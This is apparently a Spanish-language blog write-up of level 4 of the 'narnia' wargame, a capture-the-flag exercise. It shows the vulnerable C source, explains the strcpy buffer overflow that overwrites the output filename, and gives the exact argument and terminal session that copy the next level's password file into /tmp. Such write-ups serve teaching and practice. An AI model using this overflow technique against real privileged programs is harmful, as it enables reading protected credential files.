Parece que sigo con suerte y he conseguido pasar también el nivel 4 del wargame narnia, que es algo gracioso.

LEVEL4

Como siempre, vamos a ver qué pasa si ejecutamos el fichero correspondiente:/wargame/level4.

level4@narnia:/wargame$ /wargame/level4
usage, /wargame/level4 file, will send contents of file 2 /dev/null
level4@narnia:/wargame$ /wargame/level4 ./level4.c
copied contents of ./level4.c to a safer place... (/dev/null)
level4@narnia:/wargame$ /wargame/level4 ./pollo
error opening ./pollo

Parece que el objetivo es proporcionar un fichero y lo envía al agujero negro de nuestro sistema.

Analicemos el código para ver dónde hay que hacer la trampa para conseguir que /home/level5/.passwd acabe copiándose a algún fichero que no sea /dev/null.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
 
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
 
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
 
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
        /* close 'em */
        close(ifd);
        close(ofd);
 
        exit(1);
}

De nuevo el problema está en el uso de strcpy y el objetivo es machacar ifile con el contenido del primer argumento del comando. Si nuestro argumento tiene más de 32 caracteres, conseguiremos sobre-escribir /dev/null con el nombre de un fichero destino y hacer que ifile sea /home/level5/.passwd.

Hacer el desbordamiento es fácil, el problema es decidir qué incluimos. Lo que hay que darse cuenta, después de probar mucho, es de que si desbordamos ifile esta cadena no terminará en null.

Por lo tanto, el fichero de salida será una sub-cadena del fichero de entrada. Total que, una vez que te das cuenta de esto, ya es cuestión de ir probando para que el path coincida con el tamaño adecuado.

Recordad que sólo puede escribirse en /tmp.

level4@narnia:/tmp$ cd /tmp
level4@narnia:/tmp$ touch passwd
level4@narnia:/tmp$ chmod 777 passwd
level4@narnia:/tmp$ /wargame/level4 //../tmp/../tmp/../home/level5/.passwd
copied contents of //../tmp/../tmp/../home/level5/.passwd to a safer place... (passwd)
level4@narnia:/tmp$ cat passwd
i3DgDz91

Y aquí tenemos la contraseña para el siguiente nivel.

Por cierto, las contraseñas cambian cada cierto tiempo, así que tendréis que volver a pasar todos los niveles otra vez cada vez que lo hagan.